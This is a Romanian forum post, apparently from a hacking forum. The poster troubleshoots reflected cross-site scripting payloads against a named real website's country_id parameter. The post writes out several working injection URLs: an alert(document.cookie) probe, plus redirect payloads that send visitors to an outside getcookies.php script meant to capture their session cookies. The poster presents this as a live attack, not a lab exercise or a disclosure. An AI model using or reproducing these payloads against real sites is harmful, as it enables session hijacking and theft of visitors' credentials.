Jump to content
net.

window.location nu mai este suportat de mozilla?

Recommended Posts

Posted (edited)

Incerc sa fac un redirect aici dar nu reusesc:


http://www.abroadstudy4u.com/countries-details.php?country_id=66'%22()%26%25<script>window.location("htttp://google.com");</script>

in schimb document.cookie merge


http://www.abroadstudy4u.com/countries-details.php?country_id=6'%22()%26%25<script>alert(document.cookie)</script>

care este cauza de nu imi permite redirect?

EDIT: am rezolvat singur ca sa ramana ca si exemplu solutia este:


http://www.abroadstudy4u.com/countries-details.php?country_id=6'"()%26%25<script>window.location.href = "http://google.com"</script>

Ma intreb totusi oare de ce nu merge si:


http://www.abroadstudy4u.com/countries-details.php?country_id=6'"()%26%25<script>window.location.href = "http://site.com/folder/getcookies.php?c=66546"</script>
sau
http://www.abroadstudy4u.com/countries-details.php?country_id=6'"()%26%25<script>document.location = "http://site.com/folder/getcookies.php?c=66546"</script>
asta merge:
http://www.abroadstudy4u.com/countries-details.php?country_id=6'"()%26%25<script>window.location.href = "http://google.com/?c=66546"</script>

getcookies.php utilizeaza HTTP_REFERER

Edited by net.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...